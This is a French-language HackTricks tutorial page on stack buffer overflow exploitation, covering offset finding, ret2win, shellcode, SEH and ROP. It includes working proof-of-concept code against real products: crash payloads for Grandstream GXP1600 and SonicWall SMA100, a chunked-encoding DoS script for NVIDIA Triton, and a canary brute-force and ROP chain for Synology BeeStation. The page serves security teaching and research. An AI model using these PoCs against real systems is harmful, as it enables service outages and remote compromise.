Stack Overflow

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Qu’est-ce qu’un Stack Overflow

Un stack overflow est une vulnérabilité qui se produit lorsqu’un programme écrit plus de données sur la stack que celle-ci n’est allouée pour en contenir. Cet excès de données va écraser la mémoire adjacente, entraînant la corruption de données valides, la perturbation du flux de contrôle et, potentiellement, l’exécution de code malveillant. Ce problème survient souvent en raison de l’utilisation de fonctions non sécurisées qui ne vérifient pas les limites des entrées.

Le principal problème de cet overwrite est que le saved instruction pointer (EIP/RIP) et le saved base pointer (EBP/RBP) permettant de revenir à la fonction précédente sont stockés sur la stack. Par conséquent, un attaquant pourra écraser ces valeurs et contrôler le flux d’exécution du programme.

La vulnérabilité apparaît généralement parce qu’une fonction copie dans la stack plus d’octets que la quantité qui lui est allouée, pouvant ainsi écraser d’autres parties de la stack.

Certaines fonctions couramment vulnérables sont : strcpy, strcat, sprintf, gets… De plus, des fonctions comme fgets, read et memcpy qui prennent un argument de longueur peuvent être utilisées de manière vulnérable si la longueur spécifiée est supérieure à celle allouée.

For example, the following functions could be vulnerable:

void vulnerable() {
char buffer[128];
printf("Enter some text: ");
gets(buffer); // This is where the vulnerability lies
printf("You entered: %s\n", buffer);
}

Trouver Stack Overflows offsets

L’approche la plus courante pour trouver des stack overflows est de fournir une très grande entrée de As (e.g. python3 -c 'print("A"*1000)') et de s’attendre à un Segmentation Fault indiquant que le programme a tenté d’accéder à l’adresse 0x41414141.

De plus, une fois que vous avez trouvé qu’il existe une Stack Overflow vulnerability, vous devrez trouver l’offset jusqu’à ce qu’il soit possible de overwrite the return address, pour cela on utilise généralement une De Bruijn sequence. Pour un alphabet de taille k et des sous-séquences de longueur n, il s’agit d’une séquence cyclique dans laquelle chaque sous-séquence possible de longueur n apparaît exactement une fois comme sous-séquence contiguë.

De cette façon, au lieu de devoir déterminer manuellement quel offset est nécessaire pour contrôler l’EIP, il est possible d’utiliser comme padding une de ces séquences puis de trouver l’offset des octets qui ont fini par l’écraser.

Il est possible d’utiliser pwntools pour cela:

from pwn import *

# Generate a De Bruijn sequence of length 1000 with an alphabet size of 256 (byte values)
pattern = cyclic(1000)

# This is an example value that you'd have found in the EIP/IP register upon crash
eip_value = p32(0x6161616c)
offset = cyclic_find(eip_value)  # Finds the offset of the sequence in the De Bruijn pattern
print(f"The offset is: {offset}")

ou GEF:

#Patterns
pattern create 200 #Generate length 200 pattern
pattern search "avaaawaa" #Search for the offset of that substring
pattern search $rsp #Search the offset given the content of $rsp

Exploitation des Stack Overflows

During an overflow (supposing the overflow size if big enough) you will be able to overwrite values of local variables inside the stack until reaching the saved EBP/RBP and EIP/RIP (or even more).
La manière la plus courante d’abuser de ce type de vulnérabilité est de modifier l’adresse de retour afin que, lorsque la fonction se termine, le control flow sera redirigé vers l’endroit spécifié dans ce pointeur.

Cependant, dans d’autres scénarios il se peut que overwriting certaines valeurs de variables dans la stack suffise pour l’exploitation (comme dans des challenges CTF faciles).

Ret2win

In this type of CTF challenges, there is a function inside the binary that is never called and that you need to call in order to win. Pour ces challenges, il suffit de trouver l’offset to overwrite the return address et l’adresse de la function à appeler (généralement ASLR serait disabled) de sorte que, quand la fonction vulnérable retourne, la fonction cachée sera appelée :

Ret2win

Stack Shellcode

Dans ce scénario l’attaquant peut placer un shellcode dans la stack et abuser du EIP/RIP contrôlé pour sauter vers le shellcode et exécuter du code arbitraire :

Stack Shellcode

Windows SEH-based exploitation (nSEH/SEH)

Sur Windows 32-bit, un overflow peut overwrite la chaîne Structured Exception Handler (SEH) au lieu de l’adresse de retour sauvegardée. L’exploitation remplace typiquement le pointeur SEH par un gadget POP POP RET et utilise le champ nSEH de 4 octets pour un court saut visant à revenir dans le large buffer où réside le shellcode. Un schéma courant est un short jmp dans nSEH qui atterrit sur un jmp near de 5 octets placé juste avant nSEH pour sauter de centaines d’octets vers le début du payload.

Windows SEH Overflow

ROP & Ret2… techniques

Cette technique est le cadre fondamental pour bypass la principale protection de la technique précédente : No executable stack (NX). Et elle permet d’exécuter plusieurs autres techniques (ret2lib, ret2syscall…) qui finiront par exécuter des commandes arbitraires en abusant d’instructions existantes dans le binary :

ROP & JOP

Heap Overflows

An overflow is not always going to be in the stack, it could also be in the heap for example:

Heap Overflow

Types de protections

There are several protections trying to prevent the exploitation of vulnerabilities, check them in:

Common Binary Exploitation Protections & Bypasses

Real-World Example: CVE-2026-2329 (Grandstream GXP1600 unauthenticated HTTP stack overflow)

  • /app/bin/gs_web (32-bit ARM) exposes /cgi-bin/api.values.get on TCP/80 with no authentication. The POST parameter request is colon-delimited; each character is copied into char small_buffer[64] and the token is NUL-terminated on : or end, without any length check, letting a single oversized token smash the saved registers/return address.
  • PoC overflow (crashes and shows attacker data in registers): curl -ik http://<target>/cgi-bin/api.values.get --data "request=$(python3 - <<'PY'\nprint('A'*256)\nPY)".
  • Delimiter-driven multi-NUL placement: every colon restarts parsing and appends a trailing NUL. By using multiple overlong identifiers, each token’s terminator can be aligned to a different offset in the corrupted frame, letting the attacker place several 0x00 bytes even though each overflow normally adds only one. This is crucial because the non-PIE binary is mapped at 0x00008000, so ROP gadget addresses embed NUL bytes.
  • Exemple de payload avec deux-points pour déposer cinq NULs à des offsets choisis (longueurs ajustées selon le layout de la stack): AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA:BBBBBBBBBBBBBBBBBBBBB:CCCCCCCCCCCCCCCCCCCC:DDDDDDDDDDD:EEE
  • checksec shows NX enabled, no canary, no PIE. Exploitation uses a ROP chain built from fixed addresses (e.g., call system() then exit()), staging arguments after planting the required NUL bytes with the delimiter trick.

Real-World Example: CVE-2025-40596 (SonicWall SMA100)

A good demonstration of why sscanf should never be trusted for parsing untrusted input appeared in 2025 in SonicWall’s SMA100 SSL-VPN appliance. La routine vulnérable inside /usr/src/EasyAccess/bin/httpd attempts to extract the version and endpoint from any URI that begins with /__api__/ :

char version[3];
char endpoint[0x800] = {0};
/* simplified proto-type */
sscanf(uri, "%*[^/]/%2s/%s", version, endpoint);
  1. La première conversion (%2s) stocke en toute sécurité deux bytes dans version (par ex. "v1").
  2. La deuxième conversion (%s) n’a pas de spécificateur de longueur, donc sscanf continuera à copier jusqu’au premier octet NUL.
  3. Parce que endpoint est situé sur la stack et est 0x800 bytes long, fournir un path plus long que 0x800 bytes corrompt tout ce qui se trouve après le buffer ‑ y compris le stack canary et le saved return address.

Un proof-of-concept sur une seule ligne suffit à déclencher le crash avant l’authentification :

import requests, warnings
warnings.filterwarnings('ignore')
url = "https://TARGET/__api__/v1/" + "A"*3000
requests.get(url, verify=False)

Même si les stack canaries arrêtent le processus, un attaquant obtient néanmoins une primitive de Denial-of-Service (et, avec des information leaks supplémentaires, éventuellement code-execution).

Exemple réel : CVE-2025-23310 & CVE-2025-23311 (NVIDIA Triton Inference Server)

Le Triton Inference Server de NVIDIA (≤ v25.06) contenait plusieurs stack-based overflows accessibles via son HTTP API. Le motif vulnérable apparaissait à plusieurs reprises dans http_server.cc et sagemaker_server.cc :

int n = evbuffer_peek(req->buffer_in, -1, NULL, NULL, 0);
if (n > 0) {
/* allocates 16 * n bytes on the stack */
struct evbuffer_iovec *v = (struct evbuffer_iovec *)
alloca(sizeof(struct evbuffer_iovec) * n);
...
}
  1. evbuffer_peek (libevent) renvoie le nombre de segments internes du tampon qui composent le corps de la requête HTTP courante.
  2. Chaque segment provoque l’allocation d’un evbuffer_iovec de 16 octets sur la stack via alloca()sans aucune limite supérieure.
  3. En abusant de HTTP chunked transfer-encoding, un client peut forcer la requête à être découpée en centaines de milliers de chunks de 6 octets ("1\r\nA\r\n"). Cela fait croître n sans limite jusqu’à épuisement de la stack.

Preuve de concept (DoS)

Chunked DoS PoC ```python #!/usr/bin/env python3 import socket, sys

def exploit(host=“localhost”, port=8000, chunks=523_800): s = socket.create_connection((host, port)) s.sendall(( f“POST /v2/models/add_sub/infer HTTP/1.1\r\n“ f“Host: {host}:{port}\r\n“ “Content-Type: application/octet-stream\r\n” “Inference-Header-Content-Length: 0\r\n” “Transfer-Encoding: chunked\r\n” “Connection: close\r\n\r\n” ).encode())

for _ in range(chunks): # 6-byte chunk ➜ 16-byte alloc s.send(b“1\r\nA\r\n“) # amplification factor ≈ 2.6x s.sendall(b“0\r\n\r\n“) # end of chunks s.close()

if name == “main”: exploit(*sys.argv[1:])

</details>
Une requête d'environ 3 Mo suffit à écraser l'adresse de retour sauvegardée et **crash** le daemon sur une build par défaut.

### Exemple réel : CVE-2025-12686 (Synology BeeStation Bee-AdminCenter)

La chaîne Pwn2Own 2025 de Synacktiv a exploité un pre-auth overflow dans `SYNO.BEE.AdminCenter.Auth` sur le port 5000. `AuthManagerImpl::ParseAuthInfo` Base64-decodes l'entrée de l'attaquant dans un stack buffer de 4096 octets mais définit incorrectement `decoded_len = auth_info->len`. Parce que le worker CGI fork par requête, chaque enfant hérite du stack canary du parent, donc un overflow primitive stable suffit à corrompre la stack et à leak tous les secrets requis.

#### JSON décodé Base64 comme un overflow structuré
Le blob décodé doit être du JSON valide et contenir les clés `"state"` et `"code"` ; sinon, le parser jette une erreur avant que l'overflow soit utile. Synacktiv a résolu cela en Base64-encodant une payload qui décode en JSON, puis un NUL byte, puis le flux d'overflow. `strlen(decoded)` s'arrête au NUL donc le parsing réussit, mais `SLIBCBase64Decode` avait déjà écrasé la stack au-delà de l'objet JSON, couvrant le canary, le saved RBP et l'adresse de retour.
```python
pld  = b'{"code":"","state":""}\x00'  # JSON accepted by Json::Reader
pld += b"A"*4081                              # reach the canary slot
pld += marker_bytes                            # guessed canary / pointer data
send_request(pld)

Crash-oracle bruteforcing of canaries & pointers

synoscgi forks once per HTTP request, donc tous les enfants partagent le même canary, la même stack layout, et le même PIE slide. L’exploit traite le HTTP status code comme un oracle : une réponse 200 signifie que l’octet deviné a préservé la stack, tandis que 502 (ou une connexion interrompue) signifie que le process a crashé. Brute-forcing chaque octet en série récupère le canary de 8 octets, un saved stack pointer, et une return address à l’intérieur de libsynobeeadmincenter.so:

def bf_next_byte(prefix):
for guess in range(0x100):
try:
if send_request(prefix + bytes([guess])).status_code == 200:
return bytes([guess])
except requests.exceptions.ReadTimeout:
continue
raise RuntimeError("oracle lost sync")

bf_next_ptr appelle simplement bf_next_byte huit fois tout en ajoutant le préfixe confirmé. Synacktiv a parallélisé ces oracles avec ~16 worker threads, réduisant le temps total de leak (canary + stack ptr + lib base) à moins de trois minutes.

Des leaks à ROP & exécution

Une fois la base de la librairie connue, des gadgets courants (pop rdi, pop rsi, mov [rdi], rsi; xor eax, eax; ret) construisent une primitive arb_write qui place /bin/bash, -c et la commande de l’attaquant à l’adresse de pile leaked. Enfin, la chaîne met en place la convention d’appel pour SLIBCExecl (un wrapper BeeStation autour de execl(2)), donnant un root shell sans avoir besoin d’un bug info-leak séparé.

References

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks